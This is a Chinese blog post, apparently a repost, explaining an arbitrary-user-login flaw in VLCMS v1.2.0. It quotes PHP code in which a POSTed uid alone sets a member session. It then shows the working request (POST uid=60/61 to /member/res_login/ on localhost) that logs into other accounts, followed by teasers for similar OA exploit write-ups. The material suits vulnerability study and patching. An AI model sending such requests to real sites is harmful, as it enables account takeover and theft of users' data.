WEB安全系列之如何挖掘任意用户登录漏洞
0x01 前言
每周两篇文章打卡。坏蛋100块钱都不给我,好坏好坏的。
0x02 什么是任意用户登录漏洞
几乎每个网站都有自己的会员系统,有会员,就有登录机制,如果可以登录其他用户账户,那么就可以窃取其他用户的资料数据。如果配合上脚本的话,甚至可以批量获取用户的数据。对网站来说,任意用户登录是一个很高危的漏洞。
0x03 实战的案例(白盒测试)
Vlcmsv1.2.0,就拿这套CMS来说吧。
vlcms/Application/Media/Controller/MemberController.class.php
post获取uid传进autoLogin()中
- public function res_login(){
- parent::autoLogin($_POST['uid']);
- echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
- }
复制代码
将id传进entity()。
- protected function autoLogin($uid){
- $user =$this->entity($uid);
- /* 记录登录SESSION和COOKIES */
- $auth = array(
- 'mid' => $user['id'],
- 'account' => $user['account'],
- 'nickname' => $user['nickname'],
- 'balance' => $user['balance'],
- 'last_login_time' => $user['login_time'],
- );
- session('member_auth', $auth);
- session('member_auth_sign', data_auth_sign($auth));
- }
复制代码
entity中直接根据id查询账户了。。所以只需一个id就能登录任意用户。
- protected function entity($id){
- $data = M('User','tab_')->find($id);
- if(empty($data)){
- return false;
- }
- return $data;
- }
复制代码
0x04 实战的案例(黑盒测试)
http://127.0.0.1/vlcms/index.php?s=/member/res_login/
POST:uid=60
访问后,返回一串代码。
<ignore_js_op>
接着访问http://127.0.0.1/vlcms/index.php?s=/member/,可以看到,已经成功登录账户
<ignore_js_op>
访问:post:uid=61
<ignore_js_op>
接着访问http://127.0.0.1/vlcms/index.php?s=/member/
成功登录uid为61的账户
<ignore_js_op>
0x05 修复建议
不要用id来判断账户身份。
本文来源:http://bbs.ichunqiu.com/thread-8655-1-1.html?from=bokeyuan
WEB安全系列之如何挖掘任意用户登录漏洞的更多相关文章
- 通达OA任意用户登录 漏洞复现
0x00 漏洞简介 通达OA国内常用的办公系统,使用群体,大小公司都可以,其此次安全更新修复的高危漏洞为任意用户登录漏洞.攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系 ...
- 通达OA任意用户登录漏洞复现
前言 今年hw挺火爆的,第一天上来就放王炸,直接搞得hw暂停 昨天晚上无聊,复现了一下通达oa的洞,也有现成的exp可以使用,比较简单 0x00 漏洞概述 通达OA是一套国内常用的办公系统,此次发现的 ...
- 通达OA 前台任意用户登录漏洞复现
漏洞描述 通达OA是一套办公系统.通达OA官方于4月17日发布安全更新.经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞.攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理身 ...
- Owin+ASP.NET Identity浅析系列(一)用户登录注册
在今天,读书有时是件“麻烦”事.它需要你付出时间,付出精力,还要付出一份心境.--仅以<Owin+ASP.NET Identity浅析系列>来祭奠那逝去的…… 使用VS2015创建MVC项 ...
- 【Qt编程】基于Qt的词典开发系列<八>--用户登录及API调用的实现
在上一篇文章<调用网络API>中,我仅仅讲述了怎样直观的使用API接口以及调用API后返回的结果,本文则从程序实现的角度来实现API的调用.当然本程序的实现也是借助于扇贝网的API接口文档 ...
- 黄聪:保持web页面生成的app一直处于用户登录状态不退出
用户登录了会员中心,怎么保持登录状态! 由于封壳的内核及组件肯定没有浏览器APP应用那么强大,所以目前暂时的解决方案是: jquery.cookie.js 本文转载至:https://www.cnb ...
- Linux系列(22) - 用户登录查看命令
需求 查看当前在线用户情况:历史用户登录情况 W 格式 [root@localhost ~]# w:查看所有登录用户信息 [root@localhost ~]# w [用户名]:查看指定登录用户信息 ...
- XMPP系列(二)----用户注册和用户登录功能
1.创建一个新工程 2.导入XMPP框架 最新的XMPP框架下载地址:https://github.com/robbiehanson/XMPPFramework 将XMPP的几个文件夹拖进工程中,需要 ...
- phpdisk 盲注 &前台任意用户登录
代码审核 文件 plugins\phpdisk_client\passport.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $str ...
随机推荐
- 结对-(first)
代码地址 https://github.com/CountZ3/bank.git 代码思想 允许进程动态地申请资源, 系统在每次实施资源分配之前,先计算资源分配的安全性, 若此次资源分配安全(即资源分 ...
- OpenStack—neutron组件介绍与安装
neutron介绍 Neutron 概述:传统的网络管理方式很大程度上依赖于管理员手工配置和维护各种网络硬件设备:而云环境下的网络已经变得非常复杂,特别是在多租户场景里,用户随时都可能需要创建.修改和 ...
- table td中的内容过长,显示为固定长度,多余部分用省略号显示
简单描述:table数据过长,结果顶到下一格,影响了数据的查看 解决办法: 给table 加上style属性 另外 给td加上style标签修饰 <table class="tab ...
- bzoj 3998
我们分成两种情况来分析这个问题:t=0和t=1 t=1时,每一个子串出现的次数就是他在parent树上所在子树内前缀节点的个数,这一点我们已经说的很清楚了 利用SAM有向无环的性质,我们可以在pare ...
- .net core 部署在iis上
1. 启用iis (过程略) 参考操作流程 2. 下载并安装 .NET Core Windows Server Hosting 下载链接 下载完成后安装 3. 启动 windows process a ...
- 重置studio 3T 14天试用
重置studio 3T 14天试用 bat 脚本 @echo off ECHO Reset Studio 3T Date of use ... FOR /f "tokens=1,2,* &q ...
- 获取clock ticks per second
#include <sys/syscall.h> #include <stdio.h> #include <unistd.h> int main() { print ...
- 20175305张天钰《java程序设计》第九周学习总结
<java程序设计>第九周学习总结
- CICD - Teamcity 配置之二:SSIS Package 自动部署
首先需要将SSIS Project check in 到 git 中, Teamcity 会到 git 上取到code, build, 然后publish 到指定的服务器上,比如:Dev, QA, S ...
- 实现ssr服务端渲染
前言 前段时间寻思做个个人网站,然后就立马行动了. 个人网站如何实现选择什么技术方案,自己可以自由决定. 刚好之前有大致想过服务端渲染,加载速度快,还有 SEO 挺适合个人网站的. 所以就自己造 ...